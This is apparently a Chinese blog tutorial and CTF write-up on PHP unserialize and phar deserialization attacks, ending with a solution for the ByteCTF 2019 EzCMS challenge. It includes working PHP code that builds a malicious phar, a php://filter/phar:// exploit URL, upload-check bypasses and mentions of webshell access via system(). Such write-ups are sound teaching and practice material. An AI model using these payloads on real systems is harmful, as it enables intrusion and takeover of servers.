php反序列化漏洞利用姿势
- 源码中存在unserialize函数(最常见场景)
审计步骤- 寻找如下可能被利用的敏感函数:
call_user_func
array_map
array_filter
array_walk
[ … ]
以上php的回调函数如果传入的参数可控,那么就能成功getshell
菜刀/蚁剑/冰蝎后续就不用说了emmm
ps: eval等敏感函数当然也能被利用,但这种情况一般只会出现在某些良心出题人的ctf里,遑论实战环境 - 既然找到了可能能利用的危险函数,那么就可以开始逆推poc了
但是既然这种场景下有unserialize函数,个人还是倾向从unserialize开始正向分析可控参数流向
主要切入点在以下这些魔术方法:- __construct
// 当对象被实例化时被调用 - __destruct
// 当对象被销毁时被调用 - __get
// 当从不存在的属性中读取数据时被调用 - __call
// 当调用未定义的方法时被调用 - __sleep
// 当对象被序列化时被调用 - __wakeup
// 当反序列化生成对象时被调用 - __toString
// 当把类当作字符串使用时被调用 - __set
// 当对不存在的属性赋值时被调用 - [ … ]
- __construct
- 那么理清pop链,就开始自己写php脚本生成序列化后的poc咯(具体操作这里略)
- 对于第一种场景的实战栗子,这里附上合天的一篇专栏
传送门
- 寻找如下可能被利用的敏感函数:
-
源码中不存在unserialize函数(这种场景我也是最近才在bytectf中接触的qaq)
看师傅们写的文章,知道了在找不到unserialize的情况下,我们仍可以利用phar来扩展反序列化的攻击面
- 基础知识预备
-
phar文件四大组成部分
stub(标志位,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,这样phar扩展才能正确识别phar文件)
manifest(phar中压缩文件的权限、属性等信息存放处。更重要的是该部分还会以序列化的形式存储用户自定义的meta-data,这是phar反序列化攻击的核心部分)
contents(存放压缩文件的具体信息)
signature(末尾的签名,可选部分)
-
phar反序列化攻击的目的,就是为了触发本没有的反序列化操作,而php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
- fileatime / filectime / filemtime
- stat / fileinode / fileowner / filegroup / fileperms
- file / file_get_contents / readfile / fopen`
- file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
- parse_ini_file
- unlink
- copy
- finfo_file / finfo_buffer / mime_content_type
具体为什么捏?
底层代码啥我也没去细看过,反正只要知道这些函数都调用了关键函数php_stream_open_wrapper_ex,从而触发了最后我们想要的phar_var_unserialize函数,完成反序列化操作,这就够我们去构造合适的poc了
-
绕过一部分上传检测的伪造手法
由于phar扩展识别phar文件是通过其文件头的stub,即__HALT_COMPILER();?>这段代码,但是对前面的内容或者后缀名是没有要求的,所以我们就可以通过添加任意的文件头以及修改后缀名来对phar文件进行伪装。
如伪造为GIF,修改stub的代码如下$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>")
我们还可以通过 php://filter 来绕过一些参数开头限制 phar 的靶场
php://filter/read=convert.base64-encode/resource=phar://xxx
- 既然已经基本理解了phar反序列化攻击的原理和手法,那么我们就进入实战
这里用2019bytectf的一道web题EzCMS来演示全流程
顺便也写下这一题的Wp
御剑扫到一个www.zip,典型的源码泄露
那就审计咯
发现主要有两个bypass
-
越权上传
不做任何处理,直接上传文件,发现页面始终回显u r not admin
再看看泄露的源码
upload.php
跟进config.php里去看看Admin类信息
发现Admin的__construct方法实例化了一个Profile对象,并调用它的is_admin方法如下:
发现要cookie欺骗才能实现第一个bypass
那么要怎样构造正确的$_COOKIE[‘user’]呢?
我们发现
虽然$secret未知,但$secret.adminadmin的md5值和$secret的长度已知,那么我们就可以利用hash长度扩展攻击来构造合法的username,passwd和cookie
对于hash长度扩展攻击,参照我的上一篇blog
我自写的脚本也附在上一篇blog中
传送门
页面回显不再出现u r not admin
验证一下
重新访问upload.php,点击view detail发现文件已上传到如下路径:
尝试直接访问上传的php文件,发现有500报错,判断是服务器内部问题
审计源码后发现是同目录下的.htaccess里写入了错误信息才引起的无法访问
这就引出了第二个bypass(同时也是本篇blog的重点:phar反序列化攻击) -
phar反序列化攻击
我们跟着源码看看要怎么理出pop链(这里利用seay审计软件)
- 首先全局查找可能能利用的文件系统函数
这里注意,光是函数还不够,还需要参数可控
所以像下面这样的is_file函数就显然不是我们的攻击点
于是最终我们在mime_content_type上看到了曙光
我们发现在view.php中filepath是以GET方式获取的,也就是说该参数可控
那么既然确定了传入的参数filepath能在mime_content_type函数中被反序列化,那么我们就开始考虑应该把filepath构造成什么样的类的序列化形式 - 魔术方法入手
正则匹配全局搜索,发现如下魔术方法,好在不多,一个个看看有没有什么攻击点
从File类的__destruct魔术方法处入手
发现类里的成员变量checker调用了一个不在File类里的方法upload_file
查找upload_file方法发现在Admin类里,但这个方法就一个上传文件,貌似没啥攻击点
所以换个思路,由于刚刚的全局搜索里有**__call魔术方法**,那不妨看看再说
Profile类里的__call魔术方法如下:
但是源码里唯一存在的open函数具体定义如下:
显然没有我们想要的攻击点qaq
到这儿暂时宕机,看了看师傅的wp,发现可以去php手册里查找open的同名函数
找到ZipArchive类下也存在open函数,且第二个参数里存在能覆盖指定文件的模式,那么至此,pop链已经理清(最终目的是覆盖掉或删掉.htaccess)
- 在本地生成del.phar文件(注意,php.ini里要令phar.readonly = Off)
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct()
{
$this->filepath = 'nothing';
$this->filename = 'nothing';
$this->checker = new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->admin = new ZipArchive();
$this->username = './sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess';
$this->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
}
}
$data = new File();
@unlink("del.phar");
$phar = new Phar("del.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($data);
$phar->addFromString("nothing.txt", "nothing");
$phar->stopBuffering();
?>
打开生成的del.phar的文件,发现构造的类已以序列化形式存储在了metadata里,如图所示
那么把phar文件也上传到靶机上
上传成功并拿到del.phar路径
构造view.php后的poc:
?filename=nothing&filepath=php://filter/read=convert.base64-encode/resource=phar://sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/54a993218e47fdef0851dc1e6b0817fe.phar
访问后即覆盖.htaccess
这时候再去按往常一样连接已经挂上的小马就可以成功啦
提一句,不知道为什么这里虽然我已经绕过了他过滤的马里的assert
但是菜刀就是连不上…
屈服,改用system来getshell
一通操作拿到flag(虽然当时比赛的时候并没有…
如果后面发现了为啥菜刀连不上,就再来更新一下这篇blog吧
(薛定谔完结)